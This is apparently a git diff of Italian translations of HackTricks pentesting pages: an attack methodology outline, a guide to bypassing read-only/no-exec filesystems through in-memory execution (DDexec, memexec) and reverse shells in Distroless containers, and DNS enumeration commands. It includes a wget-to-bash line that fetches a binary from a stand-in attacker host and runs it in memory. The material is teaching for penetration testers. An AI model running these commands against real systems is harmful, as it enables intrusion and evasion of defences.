Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui servizi di pentesting che puoi trovare in questo libro.**
|
||||||
|
|
||||||
#### **5.2 Brute-Forcing dei servizi**
|
#### **5.2 Brute-Forcing dei servizi**
|
||||||
|
|
||||||
In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui una CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.**
|
In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui una CheatSheet di Brute-Force di diversi servizi**](brute-force.md)**.**
|
||||||
|
|
||||||
### 6- [Phishing](phishing-methodology/)
|
### 6- [Phishing](phishing-methodology/)
|
||||||
|
|
||||||
Se a questo punto non hai trovato alcuna vulnerabilità interessante **potresti aver bisogno di provare qualche phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/):
|
Se a questo punto non hai trovato alcuna vulnerabilità interessante **potresti aver bisogno di provare qualche phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/):
|
||||||
|
|
||||||
### **7-** [**Ottenere Shell**](shells/)
|
### **7-** [**Ottenere una Shell**](shells/)
|
||||||
|
|
||||||
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una shell inversa sarebbe molto utile](shells/).
|
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una shell inversa sarebbe molto utile](shells/).
|
||||||
|
|
||||||
|
@ -90,7 +90,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **raccolta dei comand
|
||||||
|
|
||||||
### **9 -** [**Esfiltrazione**](exfiltration.md)
|
### **9 -** [**Esfiltrazione**](exfiltration.md)
|
||||||
|
|
||||||
Probabilmente dovrai **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.**
|
Probabilmente avrai bisogno di **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.**
|
||||||
### **10- Escalazione dei privilegi**
|
### **10- Escalazione dei privilegi**
|
||||||
|
|
||||||
#### **10.1- Privesc Locale**
|
#### **10.1- Privesc Locale**
|
||||||
|
@ -99,10 +99,10 @@ Se non sei **root/Administrator** all'interno del sistema, dovresti trovare un m
|
||||||
Qui puoi trovare una **guida per aumentare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
Qui puoi trovare una **guida per aumentare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||||
Dovresti anche controllare queste pagine su come funziona **Windows**:
|
Dovresti anche controllare queste pagine su come funziona **Windows**:
|
||||||
|
|
||||||
- [**Autenticazione, Credenziali, Privilegi del token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
* [**Autenticazione, Credenziali, Privilegi del token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||||
- Come funziona **NTLM**](../windows-hardening/ntlm/)
|
* Come funziona **NTLM**](../windows-hardening/ntlm/)
|
||||||
- Come **rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
* Come **rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||||
- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
* Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||||
|
|
||||||
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali di Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali di Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumera
|
||||||
|
|
||||||
#### **11.1 - Saccheggio**
|
#### **11.1 - Saccheggio**
|
||||||
|
|
||||||
Controlla se puoi trovare altre **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
|
Controlla se puoi trovare più **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
|
||||||
Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||||
|
|
||||||
#### 11.2 - Persistenza
|
#### 11.2 - Persistenza
|
||||||
|
@ -122,12 +122,12 @@ Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/ca
|
||||||
**Usa 2 o 3 tipi diversi di meccanismi di persistenza in modo da non dover sfruttare nuovamente il sistema.**\
|
**Usa 2 o 3 tipi diversi di meccanismi di persistenza in modo da non dover sfruttare nuovamente il sistema.**\
|
||||||
**Qui puoi trovare alcuni** [**trucchi di persistenza sull'active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
**Qui puoi trovare alcuni** [**trucchi di persistenza sull'active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||||
|
|
||||||
TODO: Completare la Persistenza Post in Windows & Linux
|
TODO: Completare la persistenza Post in Windows & Linux
|
||||||
|
|
||||||
### 12 - Pivoting
|
### 12 - Pivoting
|
||||||
|
|
||||||
Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (avviare nuovamente la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
|
Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (avviare nuovamente la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
|
||||||
In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
|
In questo caso potrebbe essere necessario il tunneling. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
|
||||||
Dovresti assolutamente controllare anche il post su [Metodologia di Pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, aumentare i privilegi e dumpare credenziali.\
|
Dovresti assolutamente controllare anche il post su [Metodologia di Pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, aumentare i privilegi e dumpare credenziali.\
|
||||||
Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare negli ambienti Windows..
|
Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare negli ambienti Windows..
|
||||||
|
|
||||||
|
@ -137,21 +137,21 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
|
||||||
|
|
||||||
#### **Sfruttamento**
|
#### **Sfruttamento**
|
||||||
|
|
||||||
- [**Sfruttamento di base di Linux**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
* [**Sfruttamento di base di Linux**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||||
- [**Sfruttamento di base di Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [**Sfruttamento di base di Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
* [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||||
|
|
||||||
#### [**Python di base**](python/)
|
#### [**Python di base**](python/)
|
||||||
|
|
||||||
#### **Trucchi crittografici**
|
#### **Trucchi crittografici**
|
||||||
|
|
||||||
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||||
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel settore dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
Se sei interessato a una **carriera nell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -161,10 +161,10 @@ Se sei interessato a una **carriera nel settore dell'hacking** e vuoi hackerare
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
- Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
- Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,9 +14,9 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -52,24 +52,24 @@ Dal punto di vista di un red team, questo rende **complicato scaricare ed esegui
|
||||||
|
|
||||||
## Bypass più semplice: Script
|
## Bypass più semplice: Script
|
||||||
|
|
||||||
Nota che ho menzionato binari, puoi **eseguire qualsiasi script** purché l'interprete sia all'interno della macchina, come uno **script shell** se è presente `sh` o uno **script python** se è installato `python`.
|
Nota che ho menzionato binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **script shell** se è presente `sh` o uno **script python** se è installato `python`.
|
||||||
|
|
||||||
Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire.
|
Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire.
|
||||||
|
|
||||||
## Bypass di memoria
|
## Bypass di memoria
|
||||||
|
|
||||||
Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**.
|
Se vuoi eseguire un binario ma il file system non lo permette, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**.
|
||||||
|
|
||||||
### Bypass syscall FD + exec
|
### Bypass syscall FD + exec
|
||||||
|
|
||||||
Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**.
|
Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl**, o **Ruby** potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**.
|
||||||
|
|
||||||
Per fare ciò puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nella lingua indicata con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
Per fare ciò puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nella lingua indicata con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un **modo predefinito per chiamare le syscall grezze** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario.
|
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un **modo predefinito per chiamare le syscall grezze** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario.
|
||||||
|
|
||||||
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo perché si applicherà la **protezione no-exec**.
|
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo a causa della **protezione no-exec** che si applicherà.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### DDexec / EverythingExec
|
### DDexec / EverythingExec
|
||||||
|
@ -79,13 +79,13 @@ Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, po
|
||||||
Pertanto, **controllando il codice assembly** che viene eseguito dal processo, puoi scrivere uno **shellcode** e "mutare" il processo per **eseguire qualsiasi codice arbitrario**.
|
Pertanto, **controllando il codice assembly** che viene eseguito dal processo, puoi scrivere uno **shellcode** e "mutare" il processo per **eseguire qualsiasi codice arbitrario**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **shellcode** o **qualsiasi binario** dalla **memoria**.
|
**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **proprio shellcode** o **qualsiasi binario** dalla **memoria**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||||
```
|
```
|
||||||
Per ulteriori informazioni su questa tecnica controlla il Github o:
|
Per ulteriori informazioni su questa tecnica, controlla il Github o:
|
||||||
|
|
||||||
{% content-ref url="ddexec.md" %}
|
{% content-ref url="ddexec.md" %}
|
||||||
[ddexec.md](ddexec.md)
|
[ddexec.md](ddexec.md)
|
||||||
|
@ -93,9 +93,9 @@ Per ulteriori informazioni su questa tecnica controlla il Github o:
|
||||||
|
|
||||||
### MemExec
|
### MemExec
|
||||||
|
|
||||||
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. È un **shellcode demonizzato di DDexec**, quindi ogni volta che vuoi **eseguire un binario diverso** non è necessario riavviare DDexec, puoi semplicemente eseguire il shellcode memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. Si tratta di un **shellcode demonizzato di DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il shellcode memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
||||||
|
|
||||||
Puoi trovare un esempio su come utilizzare **memexec per eseguire binari da una shell inversa PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
È possibile trovare un esempio su come utilizzare **memexec per eseguire binari da un reverse shell PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||||
|
|
||||||
### Memdlopen
|
### Memdlopen
|
||||||
|
|
||||||
|
@ -109,15 +109,15 @@ I container Distroless contengono solo i **componenti minimi necessari per esegu
|
||||||
|
|
||||||
L'obiettivo dei container Distroless è **ridurre la superficie di attacco dei container eliminando componenti non necessari** e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate.
|
L'obiettivo dei container Distroless è **ridurre la superficie di attacco dei container eliminando componenti non necessari** e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate.
|
||||||
|
|
||||||
### Shell Inversa
|
### Reverse Shell
|
||||||
|
|
||||||
In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
|
In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito si esegue in un sistema.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Pertanto, **non** sarai in grado di ottenere una **shell inversa** o **enumerare** il sistema come fai di solito.
|
Pertanto, **non** sarà possibile ottenere una **shell inversa** o **enumerare** il sistema come fai di solito.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei **linguaggi di scripting**.
|
Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo Node, puoi ottenere una shell inversa di Node, e lo stesso vale per la maggior parte dei **linguaggi di scripting**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Utilizzando il linguaggio di scripting potresti **enumerare il sistema** sfruttando le capacità del linguaggio.
|
Utilizzando il linguaggio di scripting potresti **enumerare il sistema** sfruttando le capacità del linguaggio.
|
||||||
|
@ -129,11 +129,11 @@ Se non ci sono **protezioni `read-only/no-exec`** potresti abusare della tua she
|
||||||
Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **tecniche di esecuzione in memoria precedenti per aggirarle**.
|
Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **tecniche di esecuzione in memoria precedenti per aggirarle**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Puoi trovare degli **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -143,9 +143,9 @@ Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -14,9 +14,9 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -33,19 +33,19 @@ PORT STATE SERVICE REASON
|
||||||
```
|
```
|
||||||
### Diversi Server DNS
|
### Diversi Server DNS
|
||||||
|
|
||||||
* **Server Radice DNS**: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di alto livello e intervenendo solo se i server di livello inferiore non rispondono. La Internet Corporation for Assigned Names and Numbers (**ICANN**) sovraintende alla loro operatività, con un conteggio globale di 13.
|
* **Server Radice DNS**: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. La Internet Corporation for Assigned Names and Numbers (**ICANN**) sovraintende alla loro operatività, con un conteggio globale di 13.
|
||||||
* **Server dei Nomi Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene inoltrata ai server radice.
|
* **Server Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non riescono a fornire una risposta, la query viene inoltrata ai server radice.
|
||||||
* **Server dei Nomi Non Autoritativi**: Senza proprietà sulle zone DNS, questi server raccolgono informazioni di dominio attraverso query ad altri server.
|
* **Server Non Autoritativi**: Privi di proprietà sulle zone DNS, questi server raccolgono informazioni di dominio tramite query ad altri server.
|
||||||
* **Server DNS di Cache**: Questo tipo di server memorizza le risposte alle query precedenti per un determinato periodo al fine di velocizzare i tempi di risposta per le richieste future, con la durata della cache dettata dal server autoritativo.
|
* **Server DNS di Cache**: Questo tipo di server memorizza le risposte alle query precedenti per un determinato periodo al fine di velocizzare i tempi di risposta per le richieste future, con la durata della cache dettata dal server autoritativo.
|
||||||
* **Server di Inoltro**: Svolgendo un ruolo diretto, i server di inoltro semplicemente inoltrano le query a un altro server.
|
* **Server di Inoltro**: Svolgendo un ruolo diretto, i server di inoltro semplicemente inoltrano le query a un altro server.
|
||||||
* **Resolver**: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autoritativi.
|
* **Resolver**: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi a livello locale e non sono considerati autoritativi.
|
||||||
|
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
### **Banner Grabbing**
|
### **Acquisizione Banner**
|
||||||
|
|
||||||
Non ci sono banner nei DNS ma puoi acquisire la query magica per `version.bind. CHAOS TXT` che funzionerà sulla maggior parte dei server BIND.\
|
Non ci sono banner nei DNS ma puoi acquisire la query magica per `version.bind. CHAOS TXT` che funzionerà sulla maggior parte dei server BIND.\
|
||||||
Puoi eseguire questa query usando `dig`:
|
Puoi eseguire questa query utilizzando `dig`:
|
||||||
```bash
|
```bash
|
||||||
dig version.bind CHAOS TXT @DNS
|
dig version.bind CHAOS TXT @DNS
|
||||||
```
|
```
|
||||||
|
@ -112,12 +112,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF ai NSs del dominio chiedendo quel intervallo di IP.
|
Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF ai NSs del dominio chiedendo quel range di IP.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||||
|
|
||||||
Puoi interrogare intervalli IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è anche utile con BGP).
|
Puoi interrogare i range IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è anche utile con BGP).
|
||||||
|
|
||||||
### DNS - Subdomains BF
|
### DNS - Subdomains BF
|
||||||
```bash
|
```bash
|
